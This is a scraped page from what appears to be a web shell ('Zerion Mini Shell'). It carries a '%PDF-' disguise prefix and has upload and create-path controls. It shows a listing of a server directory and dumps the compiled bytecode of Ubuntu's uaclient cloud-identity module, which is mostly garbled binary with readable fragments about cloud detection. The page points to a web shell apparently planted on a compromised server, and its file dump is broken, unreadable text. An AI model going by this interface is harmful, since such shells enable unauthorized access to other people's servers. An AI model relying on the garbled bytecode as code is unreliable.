%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/uaclient/clouds/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/uaclient/clouds/__pycache__/identity.cpython-312.pyc

�

�ϴfi����ddlZddlmZddlmZddlmZmZmZm	Z	ddl
mZmZm
Z
mZmZddlmZej$ej&e��Zddd	d
dd�Ze
j.j0e
j.j2e
j.j4d
�ZGd�de�Zdeefd�Zed��ed�deeeeeffd���Z	ddeedej@fd�Z!y)�N)�Enum)�	lru_cache)�Dict�Optional�Tuple�Type)�clouds�
exceptions�messages�system�util)�apply_config_settings_override�AWSz	AWS ChinazAWS Gov�Azure�GCP��awsz	aws-chinazaws-gov�azure�gce)rrrc��eZdZdZdZy)�NoCloudTypeReasonr�N)�__name__�
__module__�__qualname__�NO_CLOUD_DETECTED�CLOUD_ID_ERROR���:/usr/lib/python3/dist-packages/uaclient/clouds/identity.pyrrs
�����Nrr�returnc��	tjgd��\}}|j�S#tj$rYnwxYwt
j
d�y)z%Query cloud instance-id from cmdline.)z
cloud-init�query�instance_idz'Unable to determine current instance-idN)r�subp�stripr
�ProcessExecutionError�LOG�warning)�out�_errs  r �get_instance_idr,sN��
��K�K� F�G�	��T��y�y�{����+�+�
��
���K�K�9�:�s�),�A�A)�maxsize�
cloud_typec�J�tjd�r,	tjdg�\}}|j�dfSdtjfS#tj
$r;}tjdt|��dtjfcYd}~Sd}~wwxYw)Nzcloud-idzerror running cloud-id: %s)r�whichr%r&r
r'r(�debug�strrrr)r*r+�excs   r �get_cloud_typer4+s����|�|�J��	<����Z�L�1�I�C���I�I�K��&�&�

�#�5�5�6�6��	�/�/�	<��I�I�2�C��H�=��+�:�:�;�;��	<�s�*A�B"�'0B�B"�B"�cloud_overridec�~�ddlm}m}m}|j|j|j|j
|jd�}|�|}n
t�\}}|stj��|j|�}|stj|���|�}|jstj��|S)a
    :raises CloudFactoryError: if no cloud instance object can be constructed
    :raises CloudFactoryNoCloudError: if no cloud instance object can be
        constructed because we are not on a cloud
    :raises CloudFactoryUnsupportedCloudError: if no cloud instance object can
        be constructed because we don't have a class for the cloud we're on
    :raises CloudFactoryNonViableCloudError: if no cloud instance object can be
        constructed because we explicitly do not support the cloud we're on
    r)rr�gcpr)r.)�uaclient.cloudsrrr7�UAAutoAttachAWSInstance�UAAutoAttachAzureInstance�UAAutoAttachGCPInstancer4r
�CloudFactoryNoCloudError�get�NonAutoAttachImageError�	is_viable�CloudFactoryNonViableCloudError)	r5rrr7�cloud_instance_mapr.�_�cls�instances	         r �cloud_instance_factoryrE:s���0�/��*�*��0�0��.�.��0�0��*�*����!�#�
�&�(�
�
�A���1�1�3�3�
�
 �
 ��
,�C���0�0�J�G�G��u�H�����8�8�:�:��Or)N)"�logging�enumr�	functoolsr�typingrrrr�uaclientr	r
rrr
�uaclient.configr�	getLogger�replace_top_level_logger_namerr(�CLOUD_TYPE_TO_TITLE�urls�PRO_ON_AWS_HOME_PAGE�PRO_ON_AZURE_HOME_PAGE�PRO_ON_GCP_HOME_PAGE�PRO_CLOUD_URLSrr2r,r4�AutoAttachCloudInstancerErrr �<module>rUs�����.�.�?�?�:��g���:��:�:�8�D�E�����
�����=�=�-�-�
�]�]�
1�
1��=�=�-�-������
	��#��	��4����-�
7��h�s�m�X�6G�-H�H�I�
7�.��
7�%)�#��S�M�#��#�#�#r

Zerion Mini Shell 1.0